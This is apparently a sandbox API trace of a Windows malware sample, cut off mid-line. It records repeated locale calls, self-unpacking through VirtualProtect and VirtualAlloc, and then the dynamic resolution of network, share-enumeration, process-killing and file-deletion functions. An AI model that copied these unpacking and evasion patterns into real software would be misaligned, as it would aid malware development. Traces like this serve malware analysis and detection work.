LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.589] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.589] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.590] GetOEMCP () returned 0x1b5 [0086.590] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.591] GetOEMCP () returned 0x1b5 [0086.591] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.592] GetOEMCP () returned 0x1b5 [0086.592] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.593] GetOEMCP () returned 0x1b5 [0086.593] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.594] GetOEMCP () returned 0x1b5 [0086.594] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.594] GetOEMCP () returned 0x1b5 [0086.594] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.594] GetOEMCP () returned 0x1b5 [0086.594] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.594] GetOEMCP () returned 0x1b5 [0086.594] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.594] GetOEMCP () returned 0x1b5 [0086.594] GetLocaleInfoA (in: Locale=0x0, LCType=0x0, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 0 [0086.594] GetOEMCP () returned 0x1b5 [0087.448] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0087.454] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0087.461] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0087.463] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0087.463] VirtualProtect (in: lpAddress=0x6d4188, dwSize=0x31755, flNewProtect=0x40, lpflOldProtect=0x18f900 | out: lpflOldProtect=0x18f900*=0x4) returned 1 [0087.504] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryA") returned 0x76c349d7 [0087.504] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0087.504] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0087.504] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0087.505] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0087.505] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0087.505] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0087.505] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0087.505] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0087.505] SetErrorMode (uMode=0x400) returned 0x0 [0087.505] SetErrorMode (uMode=0x0) returned 0x400 [0087.505] GetVersionExA (in: lpVersionInformation=0x18ee44*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18ee44*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0087.505] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0087.511] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18fecc | out: lpflOldProtect=0x18fecc*=0x2) returned 1 [0087.529] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.530] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x75ee0000 [0087.530] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeW") returned 0x75f01635 [0087.531] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringW") returned 0x75f21ee5 [0087.531] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidToStringA") returned 0x75f5d918 [0087.531] GetProcAddress (hModule=0x75ee0000, lpProcName="RpcStringFreeA") returned 0x75f23fc5 [0087.531] GetProcAddress (hModule=0x75ee0000, lpProcName="UuidCreate") returned 0x75eff48b [0087.531] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x74b30000 [0087.532] GetProcAddress (hModule=0x74b30000, lpProcName="WNetCloseEnum") returned 0x74b32dd6 [0087.533] GetProcAddress (hModule=0x74b30000, lpProcName="WNetOpenEnumW") returned 0x74b32f06 [0087.533] GetProcAddress (hModule=0x74b30000, lpProcName="WNetEnumResourceW") returned 0x74b33058 [0087.533] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0087.545] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0087.545] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0087.545] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0087.545] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0087.545] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0087.545] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0087.545] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0087.545] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74af0000 [0087.548] GetProcAddress (hModule=0x74af0000, lpProcName="timeGetTime") returned 0x74af26e0 [0087.548] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0087.548] GetProcAddress (hModule=0x75340000, lpProcName="PathFindExtensionW") returned 0x7535a1b9 [0087.548] GetProcAddress (hModule=0x75340000, lpProcName="PathFindFileNameW") returned 0x7535bb71 [0087.548] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0087.548] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsW") returned 0x753545bf [0087.548] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0087.548] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendA") returned 0x7534d65e [0087.549] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0087.549] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0087.549] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount") returned 0x76c3110c [0087.549] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0087.549] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0087.549] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0087.549] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileW") returned 0x76c34435 [0087.549] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointer") returned 0x76c317d1 [0087.549] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0087.549] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0087.549] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0087.550] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0087.550] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0087.550] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryW") returned 0x76c34259 [0087.550] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0087.550] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalDrives") returned 0x76c35371 [0087.550] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0087.550] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0087.550] GetProcAddress (hModule=0x76c20000, lpProcName="GetDriveTypeA") returned 0x76c4ef75 [0087.550] GetProcAddress (hModule=0x76c20000, lpProcName="OpenProcess") returned 0x76c31986 [0087.550] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalAlloc") returned 0x76c3588e [0087.551] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemDirectoryW") returned 0x76c35063 [0087.551] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0087.551] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryW") returned 0x76c3492b [0087.551] GetProcAddress (hModule=0x76c20000, lpProcName="Sleep") returned 0x76c310ff [0087.551] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileW") returned 0x76c5830d [0087.551] GetProcAddress (hModule=0x76c20000, lpProcName="FormatMessageW") returned 0x76c34620 [0087.551] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpynW") returned 0x76c5d556 [0087.551] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0087.551] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0087.551] GetProcAddress (hModule=0x76c20000, lpProcName="ReadFile") returned 0x76c33ed3 [0087.551] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0087.552] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0087.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0087.552] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcmpW") returned 0x76c35929 [0087.552] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0087.552] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenW") returned 0x76c31700 [0087.552] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0087.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0087.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileSizeEx") returned 0x76c359e2 [0087.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0087.552] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0087.552] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0087.553] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0087.553] GetProcAddress (hModule=0x76c20000, lpProcName="MoveFileW") returned 0x76c49af0 [0087.553] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0087.553] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0087.553] GetProcAddress (hModule=0x76c20000, lpProcName="LocalAlloc") returned 0x76c3168c [0087.553] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventW") returned 0x76c3183e [0087.553] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0087.553] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0087.553] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatW") returned 0x76c5828e [0087.553] GetProcAddress (hModule=0x76c20000, lpProcName="CreateMutexA") returned 0x76c34c6b [0087.553] GetProcAddress (hModule=0x76c20000, lpProcName="FatalAppExitA") returned 0x76cb4691 [0087.554] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0087.554] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0087.554] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3 [0087.554] GetProcAddress (hModule=0x76c20000, lpProcName="LocalFree") returned 0x76c32d3c [0087.554] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0087.554] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0087.554] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0087.555] GetProcAddress (hModule=0x76c20000, lpProcName="SetPriorityClass") returned 0x76c4cf28 [0087.555] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0087.555] GetProcAddress (hModule=0x76c20000, lpProcName="GetComputerNameW") returned 0x76c3dd0e [0087.555] GetProcAddress (hModule=0x76c20000, lpProcName="GetExitCodeProcess") returned 0x76c4174d [0087.555] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0087.555] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0087.555] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0087.555] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0087.555] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0087.555] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0087.555] GetProcAddress (hModule=0x76c20000, 